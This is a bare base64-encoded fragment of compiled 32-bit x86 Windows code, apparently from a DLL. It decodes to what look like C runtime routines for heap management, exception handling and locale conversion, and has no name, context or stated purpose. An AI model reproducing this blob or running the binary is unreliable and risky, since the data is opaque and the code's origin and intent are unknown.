gAIX/fm2LReSLCIP5/3RWg/n+dFGKA6gBdEuoCHULUf8VwAABEIXAdDyLdeCLxsH4BYPmH8HmBgM0hSB7ARCLReSLAIkGigOIRgRooA8AAI1GDFDox0MAAFlZhcAPhMkAAAD/Rgj/ReBDg0XkBDl94HyTM9uL88HmBgM1IHsBEIsGg/j/dAuD+P50BoBOBIDrcsZGBIGF23UFavZY6wqLw0j32BvAg8D1UP8VvAABEIv4g///dEOF/3Q/V/8VwAABEIXAdDSJPiX/AAAAg/gCdQaATgRA6wmD+AN1BIBOBAhooA8AAI1GDFDoMUMAAFlZhcB0N/9GCOsKgE4EQMcG/v///0OD+wMPjGf/////NQh7ARD/FbgAARAzwOsRM8BAw4tl6MdF/P7///+DyP/ocAcAAMOL/1ZXviB7ARCLPoX/dDGNhwAIAADrGoN/CAB0Co1HDFD/FcgAARCLBoPHQAUACAAAO/hy4v826I7D//+DJgBZg8YEgf4gfAEQfL5fXsODPSx8ARAAdQXoytX//1aLNcRfARBXM/+F9nUYg8j/6aAAAAA8PXQBR1boLRkAAFmNdAYBigaEwHXqagRHV+hu+f//i/hZWYk9fGMBEIX/dMuLNcRfARBT60JW6PwYAACL2EOAPj1ZdDFqAVPoQPn//1lZiQeFwHROVlNQ6GcYAACDxAyFwHQPM8BQUFBQUOhsx///g8QUg8cEA/OAPgB1uf81xF8BEOjQwv//gyXEXwEQAIMnAMcFIHwBEAEAAAAzwFlbX17D/zV8YwEQ6KrC//+DJXxjARAAg8j/6+SL/1WL7FGLTRBTM8BWiQeL8otVDMcBAQAAADlFCHQJi10Ig0UIBIkTiUX8gD4idRAzwDlF/LMiD5TARolF/Os8/weF0nQIigaIAkKJVQyKHg+2w1BG6BhCAABZhcB0E/8Hg30MAHQKi00Migb/RQyIAUaLVQyLTRCE23Qyg338AHWpgPsgdAWA+wl1n4XSdATGQv8Ag2X8AIA+AA+E6QAAAIoGPCB0BDwJdQZG6/NO6+OAPgAPhNAAAACDfQgAdAmLRQiDRQgEiRD/ATPbQzPJ6wJGQYA+XHT5gD4idSb2wQF1H4N9/AB0DI1GAYA4InUEi/DrDTPAM9s5RfwPlMCJRfzR6YXJdBJJhdJ0BMYCXEL/B4XJdfGJVQyKBoTAdFWDffwAdQg8IHRLPAl0R4XbdD0PvsBQhdJ0I+gzQQAAWYXAdA2KBotNDP9FDIgBRv8Hi00Migb/RQyIAesN6BBBAABZhcB0A0b/B/8Hi1UMRulW////hdJ0B8YCAEKJVQz/B4tNEOkO////i0UIXluFwHQDgyAA/wHJw4v/VYvsg+wMUzPbVlc5HSx8ARB1BehG0///aAQBAAC+oGMBEFZTiB2kZAEQ/xXMAAEQoTh8ARCJNYxjARA7w3QHiUX8OBh1A4l1/ItV/I1F+FBTU4199OgK/v//i0X4g8QMPf///z9zSotN9IP5/3NCi/jB5wKNBA87wXI2UOhx9v//i/BZO/N0KYtV/I1F+FAD/ldWjX306Mn9//+LRfiDxAxIo3BjARCJNXRjARAzwOsDg8j/X15bycOL/1WL7KGoZAEQg+wMU1aLNeAAARBXM9sz/zvDdS7/1ov4O/t0DMcFqGQBEAEAAADrI/8VHAABEIP4eHUKagJYo6hkARDrBaGoZAEQg/gBD4WBAAAAO/t1D//Wi/g7+3UHM8DpygAAAIvHZjkfdA5AQGY5GHX5QEBmORh18os13AABEFNTUyvHU9H4QFBXU1OJRfT/1olF+DvDdC9Q6Jf1//9ZiUX8O8N0IVNT/3X4UP919FdTU//WhcB1DP91/OiFv///WYld/Itd/Ff/FdgAARCLw+tcg/gCdAQ7w3WC/xXUAAEQi/A78w+Ecv///zgedApAOBh1+0A4GHX2K8ZAUIlF+Ogw9f//i/hZO/t1DFb/FdAAARDpRf////91+FZX6DPA//+DxAxW/xXQAAEQi8dfXlvJw4v/VrgYLwEQvhgvARBXi/g7xnMPiweFwHQC/9CDxwQ7/nLxX17Di/9WuCAvARC+IC8BEFeL+DvGcw+LB4XAdAL/0IPHBDv+cvFfXsOL/1WL7DPAOUUIagAPlMBoABAAAFD/FeQAARCjrGQBEIXAdQJdwzPAQKMEewEQXcODPQR7ARADdVdTM9s5Heh6ARBXiz14AAEQfjNWizXsegEQg8YQaACAAABqAP92/P8V7AABEP82agD/NaxkARD/14PGFEM7Heh6ARB82F7/Nex6ARBqAP81rGQBEP/XX1v/NaxkARD/FegAARCDJaxkARAAw8OL/1WL7FFRVugB1v//i/CF9g+ERgEAAItWXKFoWAEQV4t9CIvKUzk5dA6L2GvbDIPBDAPaO8ty7mvADAPCO8hzCDk5dQSLwesCM8CFwHQKi1gIiV38hdt1BzPA6fsAAACD+wV1DINgCAAzwEDp6gAAAIP7AQ+E3gAAAItOYIlN+ItNDIlOYItIBIP5CA+FuAAAAIsNXFgBEIs9YFgBEIvRA/k7130ka8kMi35cg2Q5CACLPVxYARCLHWBYARBCA9+DwQw703zii138iwCLfmQ9jgAAwHUJx0ZkgwAAAOtePZAAAMB1CcdGZIEAAADrTj2RAADAdQnHRmSEAAAA6z49kwAAwHUJx0ZkhQAAAOsuPY0AAMB1CcdGZIIAAADrHj2PAADAdQnHRmSGAAAA6w49kgAAwHUHx0ZkigAAAP92ZGoI/9NZiX5k6weDYAgAUf/Ti0X4WYlGYIPI/1tfXsnDi/9Vi+y4Y3Nt4DlFCHUN/3UMUOiI/v//WVldwzPAXcPMaICJABBk/zUAAAAAi0QkEIlsJBCNbCQQK+BTVlehHFABEDFF/DPFUIll6P91+ItF/MdF/P7///+JRfiNRfBkowAAAADDi03wZIkNAAAAAFlfX15bi+VdUcPMzMzMzMzMi/9Vi+yD7BhTi10MVotzCDM1HFABEFeLBsZF/wDHRfQBAAAAjXsQg/j+dA2LTgQDzzMMOOibs///i04Mi0YIA88zDDjoi7P//4tFCPZABGYPhRYBAACLTRCNVeiJU/yLWwyJReiJTeyD+/50X41JAI0EW4tMhhSNRIYQiUXwiwCJRfiFyXQUi9foKBQAAMZF/wGFwHxAf0eLRfiL2IP4/nXOgH3/AHQkiwaD+P50DYtOBAPPMww46Biz//+LTgyLVggDzzMMOugIs///i0X0X15bi+Vdw8dF9AAAAADryYtNCIE5Y3Nt4HUpgz3QLAEQAHQgaNAsARDo0zYAAIPEBIXAdA+LVQhqAVL/FdAsARCDxAiLTQzoyxMAAItFDDlYDHQSaBxQARBXi9OLyOjOEwAAi0UMi034iUgMiwaD+P50DYtOBAPPMww46IWy//+LTgyLVggDzzMMOuh1sv//i0Xwi0gIi9foYRMAALr+////OVMMD4RS////aBxQARBXi8voeRMAAOkc////i/9Vi+yD7BChHFABEINl+ACDZfwAU1e/TuZAu7sAAP//O8d0DYXDdAn30KMgUAEQ62BWjUX4UP8V/AABEIt1/DN1+P8V+AABEDPw/xVcAAEQM/D/FfQAARAz8I1F8FD/FfAAARCLRfQzRfAz8Dv3dQe+T+ZAu+sLhfN1B4vGweAQC/CJNRxQARD31ok1IFABEF5fW8nDgyUAewEQAMOL/1ZXM/a/sGQBEIM89XRYARABdR6NBPVwWAEQiThooA8AAP8wg8cY6Ao5AABZWYXAdAxGg/4kfNIzwEBfXsODJPVwWAEQADPA6/GL/1OLHcgAARBWvnBYARBXiz6F/3QTg34EAXQNV//TV+imuf//gyYAWYPGCIH+kFkBEHzcvnBYARBfiwaFwHQJg34EAXUDUP/Tg8YIgf6QWQEQfOZeW8OL/1WL7ItFCP80xXBYARD/FQABARBdw2oMaMgwARDosfz//zP/R4l95DPbOR2sZAEQdRjo9TMAAGoe6EMyAABo/wAAAOh+8P//WVmLdQiNNPVwWAEQOR50BIvH625qGOgA7///WYv4O/t1D+gYv///xwAMAAAAM8DrUWoK6FkAAABZiV38OR51LGigDwAAV+gBOAAAWVmFwHUXV+jUuP//Wejivv//xwAMAAAAiV3k6wuJPusHV+i5uP//WcdF/P7////oCQAAAItF5OhJ/P//w2oK6Cj///9Zw4v/VYvsi0UIVo00xXBYARCDPgB1E1DoIv///1mFwHUIahHocu///1n/Nv8VBAEBEF5dw4v/VYvsiw3oegEQoex6ARBryRQDyOsRi1UIK1AMgfoAABAAcgmDwBQ7wXLrM8Bdw4v/VYvsg+wQi00Ii0EQVot1DFeL/it5DIPG/MHvD4vPackEAgAAjYwBRAEAAIlN8IsOSYlN/PbBAQ+F0wIAAFONHDGLE4lV9ItW/IlV+ItV9IldDPbCAXV0wfoESoP6P3YDaj9ai0sEO0sIdUK7AAAAgIP6IHMZi8rT641MAgT30yFcuET+CXUji00IIRnrHI1K4NPrjUwCBPfTIZy4xAAAAP4JdQaLTQghWQSLXQyLUwiLWwSLTfwDTfSJWgSLVQyLWgSLUgiJUwiJTfyL0cH6BEqD+j92A2o/Wotd+IPjAYld9A+FjwAAACt1+Itd+MH7BGo/iXUMS1473nYCi94DTfiL0cH6BEqJTfw71nYCi9Y72nRei00Mi3EEO3EIdTu+AAAAgIP7IHMXi8vT7vfWIXS4RP5MAwR1IYtNCCEx6xqNS+DT7vfWIbS4xAAAAP5MAwR1BotNCCFxBItNDItxCItJBIlOBItNDItxBItJCIlOCIt1DOsDi10Ig330AHUIO9oPhIAAAACLTfCNDNGLWQSJTgiJXgSJcQSLTgSJcQiLTgQ7Tgh1YIpMAgSITQ/+wYhMAgSD+iBzJYB9DwB1DovKuwAAAIDT64tNCAkZuwAAAICLytPrjUS4RAkY6ymAfQ8AdRCNSuC7AAAAgNPri00ICVkEjUrgugAAAIDT6o2EuMQAAAAJEItF/IkGiUQw/ItF8P8ID4XzAAAAoQBmARCFwA+E2AAAAIsN/HoBEIs17AABEGgAQAAAweEPA0gMuwCAAABTUf/Wiw38egEQoQBmARC6AAAAgNPqCVAIoQBmARCLQBCLDfx6ARCDpIjEAAAAAKEAZgEQi0AQ/khDoQBmARCLSBCAeUMAdQmDYAT+oQBmARCDeAj/dWVTagD/cAz/1qEAZgEQ/3AQagD/NaxkARD/FXgAARCLDeh6ARChAGYBEGvJFIsV7HoBECvIjUwR7FGNSBRRUOi2u///i0UIg8QM/w3oegEQOwUAZgEQdgSDbQgUoex6ARCj9HoBEItFCKMAZgEQiT38egEQW19eycOh+HoBEFaLNeh6ARBXM/878HU0g8AQa8AUUP817HoBEFf/NaxkARD/FRABARA7x3UEM8DreIMF+HoBEBCLNeh6ARCj7HoBEGv2FAM17HoBEGjEQQAAagj/NaxkARD/FQgBARCJRhA7x3THagRoACAAAGgAABAAV/8VDAEBEIlGDDvHdRL/dhBX/zWsZAEQ/xV4AAEQ65uDTgj/iT6JfgT/Beh6ARCLRhCDCP+Lxl9ew4v/VYvsUVGLTQiLQQhTVotxEFcz2+sDA8BDhcB9+YvDacAEAgAAjYQwRAEAAGo/iUX4WolACIlABIPACEp19GoEi/toABAAAMHnDwN5DGgAgAAAV/8VDAEBEIXAdQiDyP/pnQAAAI2XAHAAAIlV/Dv6d0OLyivPwekMjUcQQYNI+P+DiOwPAAD/jZD8DwAAiRCNkPzv///HQPzwDwAAiVAEx4DoDwAA8A8AAAUAEAAASXXLi1X8i0X4BfgBAACNTwyJSASJQQiNSgyJSAiJQQSDZJ5EADP/R4m8nsQAAACKRkOKyP7BhMCLRQiITkN1Awl4BLoAAACAi8vT6vfSIVAIi8NfXlvJw4v/VYvsg+wMi00Ii0EQU1aLdRBXi30Mi9crUQyDxhfB6g+LymnJBAIAAI2MAUQBAACJTfSLT/yD5vBJO/GNfDn8ix+JTRCJXfwPjlUBAAD2wwEPhUUBAAAD2TvzD487AQAAi038wfkESYlN+IP5P3YGaj9ZiU34i18EO18IdUO7AAAAgIP5IHMa0+uLTfiNTAEE99MhXJBE/gl1JotNCCEZ6x+DweDT64tN+I1MAQT30yGckMQAAAD+CXUGi00IIVkEi08Ii18EiVkEi08Ei38IiXkIi00QK84BTfyDffwAD46lAAAAi338i00Mwf8ET41MMfyD/z92A2o/X4td9I0c+4ldEItbBIlZBItdEIlZCIlLBItZBIlLCItZBDtZCHVXikwHBIhNE/7BiEwHBIP/IHMcgH0TAHUOi8+7AAAAgNPri00ICRmNRJBEi8/rIIB9EwB1EI1P4LsAAACA0+uLTQgJWQSNhJDEAAAAjU/gugAAAIDT6gkQi1UMi038jUQy/IkIiUwB/OsDi1UMjUYBiUL8iUQy+Ok8AQAAM8DpOAEAAA+NLwEAAItdDCl1EI1OAYlL/I1cM/yLdRDB/gROiV0MiUv8g/4/dgNqP172RfwBD4WAAAAAi3X8wf4EToP+P3YDaj9ei08EO08IdUK7AAAAgIP+IHMZi87T6410BgT30yFckET+DnUji00IIRnrHI1O4NPrjUwGBPfTIZyQxAAAAP4JdQaLTQghWQSLXQyLTwiLdwSJcQSLdwiLTwSJcQiLdRADdfyJdRDB/gROg/4/dgNqP16LTfSNDPGLeQSJSwiJewSJWQSLSwSJWQiLSwQ7Swh1V4pMBgSITQ/+wYhMBgSD/iBzHIB9DwB1DovOvwAAAIDT74tNCAk5jUSQRIvO6yCAfQ8AdRCNTuC/AAAAgNPvi00ICXkEjYSQxAAAAI1O4LoAAACA0+oJEItFEIkDiUQY/DPAQF9eW8nDi/9Vi+yD7BSh6HoBEItNCGvAFAMF7HoBEIPBF4Ph8IlN8MH5BFNJg/kgVld9C4PO/9Pug034/+sNg8Hgg8r/M/bT6olV+IsN9HoBEIvZ6xGLUwSLOyNV+CP+C9d1CoPDFIldCDvYcug72HV/ix3segEQ6xGLUwSLOyNV+CP+C9d1CoPDFIldCDvZcug72XVb6wyDewgAdQqDwxSJXQg72HLwO9h1MYsd7HoBEOsJg3sIAHUKg8MUiV0IO9ly8DvZdRXooPr//4vYiV0Ihdt1BzPA6QkCAABT6Dr7//9Zi0sQiQGLQxCDOP905Ykd9HoBEItDEIsQiVX8g/r/dBSLjJDEAAAAi3yQRCNN+CP+C891KYNl/ACLkMQAAACNSESLOSNV+CP+C9d1Dv9F/IuRhAAAAIPBBOvni1X8i8ppyQQCAACNjAFEAQAAiU30i0yQRDP/I851EouMkMQAAAAjTfhqIF/rAwPJR4XJffmLTfSLVPkEiworTfCL8cH+BE6D/j+JTfh+A2o/Xjv3D4QBAQAAi0oEO0oIdVyD/yC7AAAAgH0mi8/T64tN/I18OAT304ld7CNciESJXIhE/g91M4tN7ItdCCEL6yyNT+DT64tN/I2MiMQAAACNfDgE99MhGf4PiV3sdQuLXQiLTewhSwTrA4tdCIN9+ACLSgiLegSJeQSLSgSLegiJeQgPhI0AAACLTfSNDPGLeQSJSgiJegSJUQSLSgSJUQiLSgQ7Sgh1XopMBgSITQv+wYP+IIhMBgR9I4B9CwB1C78AAACAi87T7wk7i86/AAAAgNPvi038CXyIROspgH0LAHUNjU7gvwAAAIDT7wl7BItN/I28iMQAAACNTuC+AAAAgNPuCTeLTfiFyXQLiQqJTBH86wOLTfiLdfAD0Y1OAYkKiUwy/It19IsOjXkBiT6FyXUaOx0AZgEQdRKLTfw7Dfx6ARB1B4MlAGYBEACLTfyJCI1CBF9eW8nDVYvsg+wEiX38i30Ii00MwekHZg/vwOsIjaQkAAAAAJBmD38HZg9/RxBmD39HIGYPf0cwZg9/R0BmD39HUGYPf0dgZg9/R3CNv4AAAABJddCLffyL5V3DVYvsg+wQiX38i0UImYv4M/or+oPnDzP6K/qF/3U8i00Qi9GD4n+JVfQ7ynQSK8pRUOhz////g8QIi0UIi1X0hdJ0RQNFECvCiUX4M8CLffiLTfTzqotFCOsu99+DxxCJffAzwIt9CItN8POqi0Xwi00Ii1UQA8gr0FJqAFHofv///4PEDItFCIt9/IvlXcNqDGjoMAEQ6BHw//+DZfwAZg8owcdF5AEAAADrI4tF7IsAiwA9BQAAwHQKPR0AAMB0AzPAwzPAQMOLZeiDZeQAx0X8/v///4tF5OgT8P//w4v/VYvsg+wYM8BTiUX8iUX0iUX4U5xYi8g1AAAgAFCdnFor0XQfUZ0zwA+iiUX0iV3oiVXsiU3wuAEAAAAPoolV/IlF+Fv3RfwAAAAEdA7oXP///4XAdAUzwEDrAjPAW8nD6Jn///+j5HoBEDPAw1WL7IPsCIl9/Il1+It1DIt9CItNEMHpB+sGjZsAAAAAZg9vBmYPb04QZg9vViBmD29eMGYPfwdmD39PEGYPf1cgZg9/XzBmD29mQGYPb25QZg9vdmBmD29+cGYPf2dAZg9/b1BmD393YGYPf39wjbaAAAAAjb+AAAAASXWji3X4i338i+Vdw1WL7IPsHIl99Il1+Ild/ItdDIvDmYvIi0UIM8oryoPhDzPKK8qZi/gz+iv6g+cPM/or+ovRC9d1Sot1EIvOg+F/iU3oO/F0EyvxVlNQ6Cf///+DxAyLRQiLTeiFyXR3i10Qi1UMA9Mr0YlV7APYK9mJXfCLdeyLffCLTejzpItFCOtTO891NffZg8EQiU3ki3UMi30Ii03k86SLTQgDTeSLVQwDVeSLRRArReRQUlHoTP///4PEDItFCOsai3UMi30Ii00Qi9HB6QLzpYvKg+ED86SLRQiLXfyLdfiLffSL5V3Di/9Vi+yLTQhTM9tWVzvLdAeLfQw7+3cb6Iuw//9qFl6JMFNTU1NT6BSw//+DxBSLxuswi3UQO/N1BIgZ69qL0YoGiAJCRjrDdANPdfM7+3UQiBnoULD//2oiWYkIi/HrwTPAX15bXcPMzMzMzMzMzMzMzMyLTCQE98EDAAAAdCSKAYPBAYTAdE73wQMAAAB17wUAAAAAjaQkAAAAAI2kJAAAAACLAbr//v5+A9CD8P8zwoPBBKkAAQGBdOiLQfyEwHQyhOR0JKkAAP8AdBOpAAAA/3QC682NQf+LTCQEK8HDjUH+i0wkBCvBw41B/YtMJAQrwcONQfyLTCQEK8HDagxoCDEBEOjp7P//g2XkAIt1CDs18HoBEHciagTo2fD//1mDZfwAVujg+P//WYlF5MdF/P7////oCQAAAItF5Oj17P//w2oE6NTv//9Zw4v/VYvsVot1CIP+4A+HoQAAAFNXiz0IAQEQgz2sZAEQAHUY6NcjAABqHuglIgAAaP8AAADoYOD//1lZoQR7ARCD+AF1DoX2dASLxusDM8BAUOscg/gDdQtW6FP///9ZhcB1FoX2dQFGg8YPg+bwVmoA/zWsZAEQ/9eL2IXbdS5qDF45BZhpARB0Ff91COjpAwAAWYXAdA+LdQjpe////+i2rv//iTDor67//4kwX4vDW+sUVujCAwAAWeibrv//xwAMAAAAM8BeXcNTVleLVCQQi0QkFItMJBhVUlBRUWjUnQAQZP81AAAAAKEcUAEQM8SJRCQIZIklAAAAAItEJDCLWAiLTCQsMxmLcAyD/v50O4tUJDSD+v50BDvydi6NNHaNXLMQiwuJSAyDewQAdcxoAQEAAItDCOhaKQAAuQEAAACLQwjobCkAAOuwZI8FAAAAAIPEGF9eW8OLTCQE90EEBgAAALgBAAAAdDOLRCQIi0gIM8joYJ///1WLaBj/cAz/cBD/cBToPv///4PEDF2LRCQIi1QkEIkCuAMAAADDVYtMJAiLKf9xHP9xGP9xKOgV////g8QMXcIEAFVWV1OL6jPAM9sz0jP2M///0VtfXl3Di+qL8YvBagHotygAADPAM9szyTPSM///5lWL7FNWV2oAagBoe54AEFHoD0IAAF9eW13DVYtsJAhSUf90JBTotP7//4PEDF3CCACL/1WL7FOLXQhWV4v5xwfQCgEQiwOFwHQmUOjq/P//i/BGVui7/f//WVmJRwSFwHQS/zNWUOhb/P//g8QM6wSDZwQAx0cIAQAAAIvHX15bXcIEAIv/VYvsi8GLTQjHANAKARCLCYNgCACJSARdwggAi/9Vi+xTi10IVovxxwbQCgEQi0MIiUYIhcCLQwRXdDGFwHQnUOhv/P//i/hHV+hA/f//WVmJRgSFwHQY/3MEV1Do3/v//4PEDOsJg2YEAOsDiUYEX4vGXltdwgQAg3kIAMcB0AoBEHQJ/3EE6Eim//9Zw4tBBIXAdQW42AoBEMOL/1WL7FaL8ejQ////9kUIAXQHVujDnf//WYvGXl3CBACL/1WL7FFTVlf/NSh8ARDoHrz///81JHwBEIv4iX386A68//+L8FlZO/cPgoMAAACL3ivfjUMEg/gEcndX6EknAACL+I1DBFk7+HNIuAAIAAA7+HMCi8cDxzvHcg9Q/3X86DPc//9ZWYXAdRaNRxA7x3JAUP91/Ogd3P//WVmFwHQxwfsCUI00mOgpu///WaMofAEQ/3UI6Bu7//+JBoPGBFboELv//1mjJHwBEItFCFnrAjPAX15bycOL/1ZqBGog6Ifb//+L8Fbo6br//4PEDKMofAEQoyR8ARCF9nUFahhYXsODJgAzwF7DagxoKDEBEOiB6P//6Ifc//+DZfwA/3UI6Pj+//9ZiUXkx0X8/v///+gJAAAAi0Xk6J3o///D6Gbc///Di/9Vi+z/dQjot/////fYG8D32FlIXcOL/1WL7ItFCKNAZgEQXcOL/1WL7P81QGYBEOjVuv//WYXAdA//dQj/0FmFwHQFM8BAXcMzwF3Di/9Vi+yD7CCLRQhWV2oIWb7sCgEQjX3g86WJRfiLRQxfiUX8XoXAdAz2AAh0B8dF9ABAmQGNRfRQ/3Xw/3Xk/3Xg/xUYAQEQycIIAIv/VYvsi0UIhcB0EoPoCIE43d0AAHUHUOg6pP//WV3Di/9Vi+yD7BShHFABEDPFiUX8U1Yz21eL8TkdRGYBEHU4U1Mz/0dXaAwLARBoAAEAAFP/FSQBARCFwHQIiT1EZgEQ6xX/FRwAARCD+Hh1CscFRGYBEAIAAAA5XRR+IotNFItFEEk4GHQIQDvLdfaDyf+LRRQrwUg7RRR9AUCJRRShRGYBEIP4Ag+ErAEAADvDD4SkAQAAg/gBD4XMAQAAiV34OV0gdQiLBotABIlFIIs1IAEBEDPAOV0kU1P/dRQPlcD/dRCNBMUBAAAAUP91IP/Wi/g7+w+EjwEAAH5DauAz0lj394P4AnI3jUQ/CD0ABAAAdxPoXScAAIvEO8N0HMcAzMwAAOsRUOjj+f//WTvDdAnHAN3dAACDwAiJRfTrA4ld9Dld9A+EPgEAAFf/dfT/dRT/dRBqAf91IP/WhcAPhOMAAACLNSQBARBTU1f/dfT/dQz/dQj/1ovIiU34O8sPhMIAAAD3RQwABAAAdCk5XRwPhLAAAAA7TRwPj6cAAAD/dRz/dRhX/3X0/3UM/3UI/9bpkAAAADvLfkVq4DPSWPfxg/gCcjmNRAkIPQAEAAB3FuieJgAAi/Q783RqxwbMzAAAg8YI6xpQ6CH5//9ZO8N0CccA3d0AAIPACIvw6wIz9jvzdEH/dfhWV/919P91DP91CP8VJAEBEIXAdCJTUzldHHUEU1PrBv91HP91GP91+FZT/3Ug/xXcAAEQiUX4Vui4/f//Wf919Oiv/f//i0X4WelZAQAAiV30iV3wOV0IdQiLBotAFIlFCDldIHUIiwaLQASJRSD/dQjo6yMAAFmJReyD+P91BzPA6SEBAAA7RSAPhNsAAABTU41NFFH/dRBQ/3Ug6AkkAACDxBiJRfQ7w3TUizUcAQEQU1P/dRRQ/3UM/3UI/9aJRfg7w3UHM/bptwAAAH49g/jgdziDwAg9AAQAAHcW6IglAACL/Dv7dN3HB8zMAACDxwjrGlDoC/j//1k7w3QJxwDd3QAAg8AIi/jrAjP/O/t0tP91+FNX6L+h//+DxAz/dfhX/3UU/3X0/3UM/3UI/9aJRfg7w3UEM/brJf91HI1F+P91GFBX/3Ug/3Xs6FgjAACL8Il18IPEGPfeG/YjdfhX6I38//9Z6xr/dRz/dRj/dRT/dRD/dQz/dQj/FRwBARCL8Dld9HQJ/3X06Lqg//9Zi0XwO8N0DDlFGHQHUOinoP//WYvGjWXgX15bi038M83oKJj//8nDi/9Vi+yD7BD/dQiNTfDoM5r///91KI1N8P91JP91IP91HP91GP91FP91EP91DOgo/P//g8QggH38AHQHi034g2Fw/cnDi/9Vi+xRUaEcUAEQM8WJRfyhSGYBEFNWM9tXi/k7w3U6jUX4UDP2RlZoDAsBEFb/FSwBARCFwHQIiTVIZgEQ6zT/FRwAARCD+Hh1CmoCWKNIZgEQ6wWhSGYBEIP4Ag+EzwAAADvDD4THAAAAg/gBD4XoAAAAiV34OV0YdQiLB4tABIlFGIs1IAEBEDPAOV0gU1P/dRAPlcD/dQyNBMUBAAAAUP91GP/Wi/g7+w+EqwAAAH48gf/w//9/dzSNRD8IPQAEAAB3E+ihIwAAi8Q7w3QcxwDMzAAA6xFQ6Cf2//9ZO8N0CccA3d0AAIPACIvYhdt0aY0EP1BqAFPo3Z///4PEDFdT/3UQ/3UMagH/dRj/1oXAdBH/dRRQU/91CP8VLAEBEIlF+FPoyfr//4tF+FnrdTP2OV0cdQiLB4tAFIlFHDldGHUIiweLQASJRRj/dRzoDCEAAFmD+P91BDPA60c7RRh0HlNTjU0QUf91DFD/dRjoNCEAAIvwg8QYO/N03Il1DP91FP91EP91DP91CP91HP8VKAEBEIv4O/N0B1boqJ7//1mLx41l7F9eW4tN/DPN6CmW///Jw4v/VYvsg+wQ/3UIjU3w6DSY////dSSNTfD/dSD/dRz/dRj/dRT/dRD/dQzoFv7//4PEHIB9/AB0B4tN+INhcP3Jw4v/VYvsVot1CIX2D4SBAQAA/3YE6Die////dgjoMJ7///92DOgonv///3YQ6CCe////dhToGJ7///92GOgQnv///zboCZ7///92IOgBnv///3Yk6Pmd////dijo8Z3///92LOjpnf///3Yw6OGd////djTo2Z3///92HOjRnf///3Y46Mmd////djzowZ3//4PEQP92QOi2nf///3ZE6K6d////dkjopp3///92TOienf///3ZQ6Jad////dlTojp3///92WOiGnf///3Zc6H6d////dmDodp3///92ZOhunf///3Zo6Gad////dmzoXp3///92cOhWnf///3Z06E6d////dnjoRp3///92fOg+nf//g8RA/7aAAAAA6DCd////toQAAADoJZ3///+2iAAAAOganf///7aMAAAA6A+d////tpAAAADoBJ3///+2lAAAAOj5nP///7aYAAAA6O6c////tpwAAADo45z///+2oAAAAOjYnP///7akAAAA6M2c////tqgAAADowpz//4PELF5dw4v/VYvsVot1CIX2dDWLBjsFYFoBEHQHUOifnP//WYtGBDsFZFoBEHQHUOiNnP//WYt2CDs1aFoBEHQHVuh7nP//WV5dw4v/VYvsVot1CIX2dH6LRgw7BWxaARB0B1DoWZz//1mLRhA7BXBaARB0B1DoR5z//1mLRhQ7BXRaARB0B1DoNZz//1mLRhg7BXhaARB0B1DoI5z//1mLRhw7BXxaARB0B1DoEZz//1mLRiA7BYBaARB0B1Do/5v//1mLdiQ7NYRaARB0B1bo7Zv//1leXcOL/1WL7ItFCFMz21ZXO8N0B4t9DDv7dxvo4KH//2oWXokwU1NTU1PoaaH//4PEFIvG6zyLdRA783UEiBjr2ovQOBp0BEJPdfg7+3Tuig6ICkJGOst0A0918zv7dRCIGOiZof//aiJZiQiL8eu1M8BfXltdw8zMzMzMVYvsVjPAUFBQUFBQUFCLVQyNSQCKAgrAdAmDwgEPqwQk6/GLdQiDyf+NSQCDwQGKBgrAdAmDxgEPowQkc+6LwYPEIF7Jw4v/VYvsU1aLdQgz21c5XRR1EDvzdRA5XQx1EjPAX15bXcM783QHi30MO/t3G+gMof//ahZeiTBTU1NTU+iVoP//g8QUi8br1TldFHUEiB7ryotVEDvTdQSIHuvRg30U/4vGdQ+KCogIQEI6y3QeT3Xz6xmKCogIQEI6y3QIT3QF/00Ude45XRR1AogYO/t1i4N9FP91D4tFDGpQiFwG/1jpeP///4ge6JKg//9qIlmJCIvx64LMzMzMzFWL7FYzwFBQUFBQUFBQi1UMjUkAigIKwHQJg8IBD6sEJOvxi3UIi/+KBgrAdAyDxgEPowQkc/GNRv+DxCBeycOL/1WL7IPsEP91CI1N8OjRk///g30U/30EM8DrEv91GP91FP91EP91DP8VLAEBEIB9/AB0B4tN+INhcP3Jw4v/VYvsUVGLRQxWi3UIiUX4i0UQV1aJRfzoph4AAIPP/1k7x3UR6Nuf///HAAkAAACLx4vX60r/dRSNTfxR/3X4UP8VNAEBEIlF+DvHdRP/FRwAARCFwHQJUOjNn///WevPi8bB+AWLBIUgewEQg+YfweYGjUQwBIAg/YtF+ItV/F9eycNqFGhIMQEQ6MHc//+Dzv+JddyJdeCLRQiD+P51HOhyn///gyAA6Fef///HAAkAAACLxovW6dAAAAAz/zvHfAg7BQh7ARByIehIn///iTjoLp///8cACQAAAFdXV1dX6Lae//+DxBTryIvIwfkFjRyNIHsBEIvwg+YfweYGiwsPvkwxBIPhAXUm6Aef//+JOOjtnv//xwAJAAAAV1dXV1fodZ7//4PEFIPK/4vC61tQ6AIeAABZiX38iwP2RDAEAXQc/3UU/3UQ/3UM/3UI6Kn+//+DxBCJRdyJVeDrGuifnv//xwAJAAAA6Kee//+JOINN3P+DTeD/x0X8/v///+gMAAAAi0Xci1Xg6ATc///D/3UI6D8eAABZw4v/VYvsuOQaAADoJR8AAKEcUAEQM8WJRfyLRQxWM/aJhTTl//+JtTjl//+JtTDl//85dRB1BzPA6ekGAAA7xnUn6DWe//+JMOgbnv//VlZWVlbHABYAAADoo53//4PEFIPI/+m+BgAAU1eLfQiLx8H4BY00hSB7ARCLBoPnH8HnBgPHilgkAtvQ+4m1KOX//4idJ+X//4D7AnQFgPsBdTCLTRD30fbBAXUm6Myd//8z9okw6LCd//9WVlZWVscAFgAAAOg4nf//g8QU6UMGAAD2QAQgdBFqAmoAagD/dQjofv3//4PEEP91COhpBwAAWYXAD4SdAgAAiwb2RAcEgA+EkAIAAOiwr///i0BsM8k5SBSNhRzl//8PlMFQiwb/NAeJjSDl////FUABARCFwA+EYAIAADPJOY0g5f//dAiE2w+EUAIAAP8VPAEBEIudNOX//4mFHOX//zPAiYU85f//OUUQD4ZCBQAAiYVE5f//ioUn5f//hMAPhWcBAACKC4u1KOX//zPAgPkKD5TAiYUg5f//iwYDx4N4OAB0FYpQNIhV9IhN9YNgOABqAo1F9FDrSw++wVDoC5H//1mFwHQ6i4005f//K8sDTRAzwEA7yA+GpQEAAGoCjYVA5f//U1DokgsAAIPEDIP4/w+EsQQAAEP/hUTl///rG2oBU42FQOX//1DobgsAAIPEDIP4/w+EjQQAADPAUFBqBY1N9FFqAY2NQOX//1FQ/7Uc5f//Q/+FROX///8V3AABEIvwhfYPhFwEAABqAI2FPOX//1BWjUX0UIuFKOX//4sA/zQH/xU4AQEQh